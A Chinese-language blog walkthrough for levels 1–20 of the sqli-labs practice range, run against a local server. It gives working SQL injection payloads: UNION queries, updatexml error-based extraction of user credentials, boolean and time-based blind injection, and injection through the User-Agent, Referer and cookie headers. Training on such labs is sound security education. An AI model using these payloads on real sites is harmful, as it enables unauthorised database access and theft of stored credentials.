sqli-labs靶场通关攻略(1-20关)

一、搭建靶场

输入数据库密码

搭建成功

第一关

1.确定攻击点 确定网站可以注入的参数 比如:?id= ?ID= ?a= ?sd=

2.判断闭合方式 ' --+

3.判断字段列数 order by

页面正常 说明存在3列

页面不正常 说明只存在3列

4.联合查询 查当前数据库名,数据库版本,数据库用户

上面已经查出3列,那么联合查询3列,页面显示的是id=1的数据,没有显示我们联合查询的数据,把人家前面查询的id的数据改成不存在的,比如-1

此时页面上出现了我们联合查询的回显点

联合查询了数据库名和用户

5.联合查询 查出网站的数据库里面的所有表名

6.联合查询 查出users表里面的所有列

7.查询表中所有的数据


第二关

1.第二关和第一关类似,先确定攻击点,id=1,页面正常

2.判断闭合方式,及判断字段列数

判断为数字型

3.确认回显

4.确认数据库名及用户名

5.查询数据库中表名

http://127.0.0.1/Less-2/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

6.查询users表中所有列

http://127.0.0.1/Less-2/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

6.查询表中所有数据


第三关

1.确定攻击点及判断闭合方式

2.判断字段列数

只有3列

3.确认回显

4.确认数据库表名

5.后续查询方法依照前两关!!!


第四关

1.确认攻击点及闭合点

攻击点:?id=1")      --+ 来闭合

2.判断字段列数

只有三列

3.确认回显

4.确认数据库表名

后续参照前几关


第五关(报错盲注)

1.?id=1',跟个'会报错,说明有报错注入

2.加--+,闭合成功

3.使用报错函数(updatabase(1,2,3)),报错函数里面三个参数,写1,2,3占位置,我们可以操控的是第二个参数的位置

  所以第二个参数的位置换成concat()函数,这个函数也有两个参数,写两个1占位置,我们可以操控的地方也是第二个参数的位置 把第二个参数的位置换成(),里面写我们的子查询语句(select database()) 成功查出数据库名 后面查什么在子查询括号里面查就行

4.查表名
http://localhost/Less-5/?id=1' and updatexml(1,concat(1,(select  group_concat(table_name) from information_schema.tables where table_schema='security')),3)--+

5.查列名

   http://localhost/Less-5/?id=1' and updatexml(1,concat(1,(select  group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3)--+

6.查具体的username和password

http://localhost/Less-5/?id=1' and updatexml(1,concat(1,(selectgroup_concat(username,"~",password) from users)),3)--+

结果显示不全,只能通过limit一条一条查询

http://localhost/Less-5/?id=1' and updatexml(1,concat(1,(selectconcat(username,"~",password)from users limit 0,1)),3)--+


第六关(报错盲注)

1.?id=1',跟个'会报错,说明有报错注入

2.加--+,闭合成功

3.同第五关使用报错函数

4.查表名

5.查列名

6.查具体的username和password

由于显示不全,故使用单行查询(limit:单行查询),修改limit参数即可查询剩余


第七关(布尔盲注)

1.第七关和第六关有所不同,输入?id=1'会报错,而id=1和id=1"时正常,说明id=1'有报错注入,这时候我们可以输入id=1') --+发现依然报错,最后尝试id=1'))--+闭合成功

2.因为页面只有ture和flase两种情况,所以需要使用布尔盲注,确认数据库名为8位

3.确定数据库名

http://127.0.0.1/Less-7/?id=1%27))%20and%20ascii(substr(database(),1,1))%3E115--+,确认数据库第一位ascii码为115,以此类推推出库名

4.确认数据库中有哪些表

http://127.0.0.1/Less-7/?id=1%27))%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E101%20--+

测得表中第一位ascii码为101,也就是字母'e'。按照此法依次查出所有表名

5.判断users表中有哪些字符

http://127.0.0.1/Less-7/?id=1%27))%20and%20ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20limit%200,1),1,1))%3E105%20--+

sacii码大于104而不大于105,说明为105,也就是字母'i',依次类推获取表中字符


第八关

1.?id=1',跟个'会报错,说明有报错注入,输入--+使其闭合

2.测试数据库长度,判断长度为8

3.测试数据库名

http://localhost/Less-8/?id=1' and ascii(substr(database(),1,1))>113--+

http://localhost/Less-8/?id=1' and ascii(substr(database(),1,1))=115--+

第一位字符acs码为'115',也就是字母's',以此类推测出库名

方法和第七关一致,参照第七关方法


第九关(时间盲注)

1.测试各种方法没反应,使用时间吗盲注,发现确实为时间盲注,语句正确会延迟三秒,错误则会立即响应,测得数据库字符长度为8

后续在if的第一条语句中输入布尔盲注的语句即可


第十关(时间盲注)

1.和第九关相同,不同点为闭合方式为:?id=1" --+


第十一关(报错盲注)

1.输入admin'会报错,存在报错注入,闭合方式为#

2.判断字段列数

列数为2

3.查询数据库名

使用报错函数查出数据库名

4.查表名

5.查表中字段名

6.查询具体内容

字符太长可以逐行显示,上面提过(limit函数)


第十二关

1.测试发现第十二关加")会报错,加#闭合

2.判断字段列数

列数为2

3.查询数据库名

4.查表名

5.查询表中字段名

6.查询具体内容


第十三关

1.admin'报错说明有SQL注入,试了几种方法闭合不了,最终选择采用时间盲注

测出数据库为8位

2.判断数据库名

用此方法一次判断出库名的八位字符

admin') and if(ascii(substr(database(),1,1))=115,sleep(3),1)#

判断表名和其他数据的方法请看十五关,修改参数即可


第十四关

1.测试发现admin"会报错,说明存在sql注入,闭合困难,采用时间盲注

测得数据库为8位

2.判断数据库名

用下方语句判断得出数据库名第一位ASC码为115

admin" and if(ascii(substr(database(),1,1))=115,sleep(3),1)#

参照十五关


第十五关

1.只有两种页面,判断为布尔盲注

输入admin'#是闭合成功

2.判断数据库字符数

得出数据库有八位字符

admin' and length(database())=8#

3.判断数据库名

得出第一位字符asc码为115,按此方法修改参数可得出数据库名

admin' and ascii(substr(database(),1,1))=115#

4.判断表名

下方函数可判断出数据库中第一个表的第一位字符,可按此方法修改参数获取所有表名

admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101#

5.判断列名

下方函数可判断出users表中第一位字符ASC码为115,按此方法修改参数即可得出其他列名

admin' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105#

6.获取所有参数

下方函数判断出username列中第一位ASCII码为68,按此方法修改参数即可得出所有参数

admin' and ascii(substr((select username from users limit 0,1),1,1))=68#


第十六关

1.判断注入点及闭合方式

页面只有两种回显,说明为布尔盲注,闭合方式为")#

2.判断数据库长度

数据库长度大于7而不大于8,说明数据库为8位

admin") and length(database())>7#

admin") and length(database())>8#

3.判断数据库名

库名第一位ASCII码大于114而不大于115,说明第一位ASCII码为115,即字母's'

按此方法修改参数即可得出数据库全名

admin") and ascii(substr(database(),1,1))>114#

admin") and ascii(substr(database(),1,1))>115#

 后续按十五关的方式做即可


第十七关

第十七关和前面几关有很大不同,页面显示我们是在重置密码页面,输入用户名和新密码,根据代码我们可以看出有'update'字样,说明会更新密码,sql语句之前都是查询,这里则是更新数据库的内容,之前的联合注入和布尔盲注以及时间盲注都不能用了。这里我们会用到报错注入。

1.使用报错函数查询数据库名

123' and updatexml(1,concat(1,database()),3)#

2.查询表名

123' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),3)#

3.查列名

查users列的列名

123' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3)#

查emails的列名

123' and (updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails')),1))#

4.爆字段数据

123' and (updatexml (1,concat(1,(select group_concat(id,email_id) from emails)),1))#


第十八关

1.点开页面我们能看到只提示了你现在的ip,可以先看源代码,可以看到源代码中有一句sql语句,当我们输入正确的账户名和密码我们的User-Agent字段内容就会出现在页面上。

2.我们输入用户名和密码进行抓包,在User-Agent后输入'发现会报错,确定有sql注入

3.使用报错语句进行查询数据库名

注意:该语句需要三个参数,所以我们在构造时候也需要有三个参数。

后续查询按照报错查询即可完成


第十九关

1.输入正确的用户名密码显示Referer,说明时http头注入

2.进行抓包,在referer末尾输入',页面报错,我们使用报错语句

3.查出数据库名

后续操作参照前面报错注入

第二十关

1.输入正确的用户名和密码我们会进入此页面,发现页面中有显示cookie,所以我们确定此关为cookie注入

2.进行抓包在cookie末尾加',页面报错

3.使用报错函数查找到数据库名

后续方法参照前面报错注入关卡

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值